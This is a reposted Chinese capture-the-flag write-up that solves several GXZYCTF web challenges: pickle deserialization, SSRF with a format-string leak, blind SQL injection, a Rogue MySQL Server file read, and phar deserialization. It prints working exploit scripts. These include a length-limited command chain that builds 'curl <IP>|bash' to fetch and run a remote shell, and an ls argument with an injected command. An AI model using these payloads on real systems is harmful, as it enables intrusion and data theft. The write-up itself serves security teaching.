php x00x00x00x00x00x00rxdf,GXZYCTF部分Web Writeup

转载

人精是我家的 于 2021-03-17 12:55:55 发布 158 收藏
文章标签： php x00x00x00x00x00x00rxdf
很长一段时间没有接触了，都沉迷于课程学习不能自拔(被迫的)，果然2020年对题目都失去了感觉，不仅如此，刚打开就想x了.....，简单先整理一下做出来的题。之后文章主要发在个人博客：Cyc1e's Blog

0x00 Webtmp

题目源码

```
import base64
import io
import sys
import pickle
from flask import Flask, Response, render_template, request
import secret
app = Flask(__name__)
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
def read(filename, encoding='utf-8'):
```

```
with open(filename, 'r', encoding=encoding) as fin:

return fin.read()

@app.route('/', methods=['GET', 'POST'])

def index():

if request.args.get('source'):

return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':

try:

pickle_data = request.form.get('data')

if b'R' in base64.b64decode(pickle_data):

return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

else:

result = restricted_loads(base64.b64decode(pickle_data))

if type(result) is not Animal:

return 'Are you sure that is an animal???'

correct = (result == Animal(secret.name, secret.category))

return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)

except Exception as e:

print(repr(e))

return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')

pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()

return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)

if __name__ == '__main__':

app.run(host='0.0.0.0', port=5000)
```

很明显一道python反序列化的题，不过if b'R' in base64.b64decode(pickle_data)断了直接反弹shell和调用render_template函数的操作，所以说就是只能给secret.name、secret.category变量赋值，要求type为Animal，同时secret又要重main启动，所以需要重写一下secret类。参考https://blog.init-new-world.com/post/hitctf-train.html(也就是原题)

```
# -*- coding: utf-8 -*-

# @Author: Cyc1e
```

```
# @Date: 2020-03-07 14:51:06

# @Last Modified by: Cyc1e

import pickle

import base64


payload =
b"\x80\x03c__main__\nsecret\n}q\x02(X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00kittyq\x04X\x08\x00\x00\x0
```

```
print(base64.b64encode(payload).decode())
```

0x01 fmkq

访问直接给了题目源码

```
error_reporting(0);

if(isset($_GET['head'])&&isset($_GET['url'])){

$begin = "The number you want: ";

extract($_GET);

if($head == ''){

die('Where is your head?');

}

if(preg_match('/[A-Za-z0-9]/i',$head)){

die('Head can\'t be like this!');

}

if(preg_match('/log/i',$url)){

die('No No No');

}

if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){

die('Don\'t use strange protocol!');

}

$funcname = $head.'curl_init';

$ch = $funcname();

if($ch){

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
```

```
$output = curl_exec($ch);

curl_close($ch);

}

else{

$output = 'rua';

}

echo sprintf($begin.'%d',$output);

}

else{

show_source(__FILE__);

}
```

关键就是触发curl了，参考https://www.php.net/manual/zh/function.sprintf 通过extract进行变量覆盖，覆盖begin为begin=%1$s，则sprintf($begin.'%d',$output);处就可以输出，例如构造

?head=\&begin=%1$s&url=www.baidu.com

则可以返回baidu的内容，所以显然用来SSRF最合适不过，发现127.0.0.1还开了8080端口，所以构造

?head=\&begin=%1$s&url=http://127.0.0.1:8080

也就是需要我们拿到vipcode，一通测试，python的格式化字符串问题，构造

?head=\&begin=%1$s&url=http://127.0.0.1:8080/read/file=
{file.__init__.__globals__[vip].__init__.__globals__}%26vipcode=xxx

可以读取到vipcode

带上vipcode就可以为所欲为了

提示了flag所在的文件，结合题目提示，flag的路径就是/fl4g_1s_h3re_u_wi11_rua/flag，读取题目源码可以发现fl4g被过滤了

```
#readfile.py

from .vip import vip

import re

import os

class File:

def __init__(self,file):
```

```
self.file = file
def __str__(self):
return self.file
def GetName(self):
return self.file
class readfile():
def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])
if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()
def test(self):
```

```
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not in dir(self):
return False
else:
return True
def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False
def GetFileName(self):
return self.file.GetName()
current_folder_file = []
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '"Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n"'
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
```

```
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
#vip.py
import random
import string
vipcode = ''
class vip:
def __init__(self):
global vipcode
if vipcode == '':
vipcode = ''.join(random.sample(string.ascii_letters+string.digits, 48))
self.truevipcode = vipcode
else:
self.truevipcode = vipcode
def GetCode(self):
return self.truevipcode
```

由于fl4g被过滤了，所以只能另辟蹊径，代码中

```
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
```

所以可以通过current_folder_file来获取flag文件夹，构造

```
{vipfile.__init__.__globals__[current_folder_file][21]}/flag
```

0x02 nweb

根据登入后的提示，用户会有分级，注册账号的时候隐藏了type属性

type赋值为110，登录后可以访问flag.php 里面是一个search框，可以测试一下注入

简单测试发现只过滤了select和from，可以双写绕过，所以写一个脚本跑就行了

```
# encoding=utf-8
import requests
flag= ''
url = 'http://121.37.179.47:1001/search.php'
Cookie = {'PHPSESSID':'huiulsnkb5bpm59h6v38o1qlv1;',
'username':'41fcba09f2bdcdf315ba4119dc7978dd'}
proxies = {
"http": "http://127.0.0.1:8080",
}
#erfenfa
for i in range(1,50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
#payload=r"1' or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
#payload=r"1' or 1=(ascii(mid((selselectect group_concat(column_NAME) frfromom information_schema.columnS where table_name='admin'),{},1))>{})#"
payload=r"1' or 1=(ascii(mid((selselectect pwd frfromom admin limit 1),{},1))>{})#"
#payload=r"1' or 1=(ascii(mid((database()),{},1))>{})#"
url_1=url+payload.format(i,mid)
data={"flag":payload.format(i,mid)}
r=requests.post(url,data=data,cookies=Cookie,proxies=proxies)
```

```
print(r.content)

if b"is flag" in r.content:

low=mid+1

else:

high=mid

mid=(low+high)//2

print(flag)

flag+=chr(mid)
```

数据库里只有一半的flag：flag{Rogue-MySql-Server- ，同时还得到了admin用户的密码：whoamiadmin

根据前半段flag和登录后的提示，也就是伪造mysql服务任意文件读取的问题了，通过Rogue-MySql-Server脚本设置读取一下flag.php文件

也就拿到了flag的后一部分，拼接起来就可以了。

0x03 php uaf

送分题，访问直接得源代码

```
$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);

@mkdir($sandbox);

@chdir($sandbox);


if (isset($_REQUEST['cmd'])) {

@eval($_REQUEST['cmd']);

}


highlight_file(__FILE__);
```

看一下phpinfo，php版本是7.4.2，设置了disable_function和open_basedir

image-20200309110411132.png

0x04 dooog

题目很简单，逻辑捋清楚就行了，从client出发，先后向kdc的getTGT和getTicket发包校验，校验通过则发包到cmd执行，执行没有回显，主要在getTicket中的判断限制了cmd的内容，不过认真分析一下kdc源码，可以发现data变量是可控的，控制前一数据包中的timestamp使得int(time.time()) - data['timestamp'] > 60就可以了，所以修改client app.py

```
from flask import Flask, request, render_template, redirect, url_for, session, flash

from flask_bootstrap import Bootstrap

from form import RegisterForm, CmdForm

from toolkit import AESCipher

import os, requests, json, time, base64

app = Flask(__name__)

app.config["SECRET_KEY"] = os.urandom(32)

bootstrap = Bootstrap(app)

@app.route('/')

def index():

return render_template('index.html', form='')

@app.route('/cmd', methods=['GET', 'POST'])

def cmd():

form = CmdForm()

if request.method == 'GET':

return render_template('index.html', form=form)

elif request.method == 'POST':

if form.validate_on_submit():

username = form.username.data

master_key = form.master_key.data

cmd = form.cmd.data

print(username,master_key,cmd)

cryptor = AESCipher(master_key)

authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))

res = requests.post('http://121.37.164.32:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})

if res.content == 'time error':

flash('time error')

return redirect(url_for('index'))
```

```
if res.content.startswith('auth'):

flash('auth error')

return redirect(url_for('index'))

session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])),
res.content.split('|')[1]

flash('GET TGT DONE')

#visit TGS

cryptor = AESCipher(session['session_key'])

authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': 1}))

res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd,
'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})

if res.content == 'time error':

flash('time error')

return redirect(url_for('index'))

if res.content.startswith('auth'):

flash('auth error')

return redirect(url_for('index'))

if res.content == 'cmd error':

flash('cmd not allow')

return redirect(url_for('index'))

flash('GET Ticket DONE')

client_message, server_message = res.content.split('|')

session_key = cryptor.decrypt(base64.b64decode(client_message))

cryptor = AESCipher(session_key)

authenticator = base64.b64encode(cryptor.encrypt(username))

res = requests.post('http://121.37.164.32:5002/cmd', data={'server_message': server_message, 'authenticator':
authenticator})

return render_template('index.html', form='', flag=res.content)

return render_template('index.html', form=form)

else:

return 'error' , 500

@app.route('/register', methods=['GET','POST'])
```

```
def register():
form = RegisterForm()
if request.method == 'GET':
return render_template('index.html', form=form)
elif request.method == 'POST':
if form.validate_on_submit():
username = form.username.data
master_key = form.master_key.data
res = requests.post('http://121.37.164.32:5001/register', data={'username': username, 'master_key': master_key})
if res.content == 'duplicate username':
return redirect(url_for('register'))
elif res.content != '' :
session['id'] = int(res.content)
flash('register success')
return redirect(url_for('index'))
return render_template('index.html', form=form)
else:
return 'error' , 500
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port = 5000)
```

本地起一个服务来发包就行了

0x05 sqlcheckin

0x06 Hackme

访问www.zip得到题目源码，主要在于profile.php

```
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
```

```
session_start();
class info
{
public $admin;
public $sign;
public function __construct()
{
$this->admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];
}
public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
?>
```

构造一下序列化

```
class info
{
public $admin;
public $sign;
public function __construct()
{
$this->admin = 1;
$this->sign = '';
}
public function __destruct()
```

```
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}
$a = new info();
echo serialize($a);
?>
```

输出：O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}修改为|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}发送后范围profile进入到/core/index.php

```
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xl^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
```

```
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
```

总结起来就是4字节执行命令，不过首先得绕过一下preg_match，构造

url=compress.zlib://data:@127.0.0.1/plain;base64,xxxx

```
# -*- coding: utf-8 -*-
# @Author: Cyc1e
# @Date: 2020-03-09 13:53:34
# @Last Modified by: Cyc1e
# @Last Modified time: 2020-03-09 14:18:18
#encoding=utf-8
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
```

```
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序，放到文件"x"，就变成了 "ls -th >g"
'>rev',
'*v>x',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>p\ ',
'>ph\\',
'>a.\\',
'>\>\\',
'>E1\\',
'>01\\',
'>E8\\',
'>31\\',
'>0x\\',#IP地址的16进制
'>\ \\',
'>rl\\',
'>cu\\',# getshell
'sh x',
'sh g',
]
payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
cookies={'PHPSESSID': 'd1b8d083fa8c9bdb28317c30b103bbb6'}
r = requests.get('http://121.36.222.22:88/core/clear.php',cookies=cookies)
for i in payload:
assert len(i) <= 20
r = requests.post('http://121.36.222.22:88/core/index.php',cookies=cookies,data=
{"url":payload_all.format(base64.b64encode(i))})
print r.text
sleep(0.5)
```

0x07 webct

访问www.zip拿到题目源码，题目提供了两个页面，一个是测试数据库连接，一个是文件上传，分析一下源码

#testsql.php

```
error_reporting(0);
include "config.php";
$ip = $_POST['ip'];
$user = $_POST['user'];
$password = $_POST['password'];
$option = $_POST['option'];
$m = new db($ip,$user,$password,$option);
$m->testquery();
```

数据库连接测试接收到数据后实例化db类进行测试连接，文件上传页面源码

```
error_reporting(0);
include "config.php";
//var_dump($_FILES["file"]);
$file = new File($_FILES["file"]);
$fileupload = new Fileupload($file);
$fileupload->deal();
echo "存储的图片:"."
";
$ls = new Listfile('./uploads/'.md5($_SERVER['REMOTE_ADDR']));
echo $ls->listdir()."
";
?>
```

各个类的实现代码

#config.php

```
error_reporting(0);
class Db
{
public $ip;
public $user;
```

```
public $password;
public $option;
function __construct($ip,$user,$password,$option)
{
$this->user=$user;
$this->ip=$ip;
$this->password=$password;
$this->option=$option;
}
function testquery()
{
$m = new mysqli($this->ip,$this->user,$this->password);
if($m->connect_error){
die($m->connect_error);
}
$m->options($this->option,1);
$result=$m->query('select 1;');
if($result->num_rows>0)
{
echo '测试完毕，数据库服务器处于开启状态';
}
else{
echo '测试完毕,数据库服务器未开启';
}
}
}
class File
{
public $uploadfile;
function __construct($filename)
{
```

```
$this->uploadfile=$filename;
}
function xs()
{
echo '请求结束';
}
}
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function deal()
{
$extensionarr=array("gif","jpeg","jpg","png");
$extension = pathinfo($this->file->uploadfile['name'], PATHINFO_EXTENSION);
$type = $this->file->uploadfile['type'];
//echo "type: ".$type;
$filetypearr=array("image/jpeg","image/png","image/gif");
if(in_array($extension,$extensionarr)&in_array($type,$filetypearr)&$this->file->uploadfile["size"]<204800)
{
if ($_FILES["file"]["error"] > 0) {
echo "错误：: " .$this->file->uploadfile["error"] . "
";
die();
}else{
if(!is_dir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/")){
mkdir("./uploads/".md5($_SERVER['REMOTE_ADDR'])."/");
}
```

```
$upload_dir="./uploads/".md5($_SERVER['REMOTE_ADDR'])."/";

move_uploaded_file($this->file->uploadfile["tmp_name"],$upload_dir.md5($this->file->uploadfile['name'])."".$extension);

echo "上传成功"."
";

}

}

else{

echo "不被允许的文件类型"."
";

}

}

function __destruct()

{

$this->file->xs();

}

}

class Listfile

{

public $file;

function __construct($file)

{

$this->file=$file;

}

function listdir(){

system("ls ".$this->file)."
";

}

function __call($name, $arguments)

{

system("ls ".$this->file); #□这个地方明显的反序列化，所以主要就是构造的问题

}

}
```

所以整体逻辑也很清晰，利用文件上传上传phar文件，通过Rogue-MySql-Server访问phar文件触发反序列化

首先构造一下phar

```
class Fileupload
{
public $file;
function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
$this->file->xs();
}
}
class Listfile
{
public $file;
function __construct()
{
$this->file="/ ;/readflag";
}
function __call($name, $arguments)
{
system("ls ".$this->file);
}
}
@unlink("ccc.phar");
$phar = new Phar("ccc.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$a=new Listfile();
```

```
$b=new Fileupload($a);
echo serialize($b);
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
```

输出ccc.phar后进行上传

在vps上编辑Rogue-MySql-Server脚本启动就行

还有一个问题就是testsql中的option设成什么？option用于设置MYSQLI_OPT_LOCAL_INFILE，本地查看一下

所以option设置为8就行了，利用testsql访问服务器上起的rogue_mysql_server服务就会直接触发/readflag

0x08 nothardweb

这个没去看，具体思路是跑seed(这里有一个非预期)，可以直接构造cookie，打内网，之后内网还有一个tomcat，复现后写

0x09 easy_trick_gzmtu

SQL注入后，复现写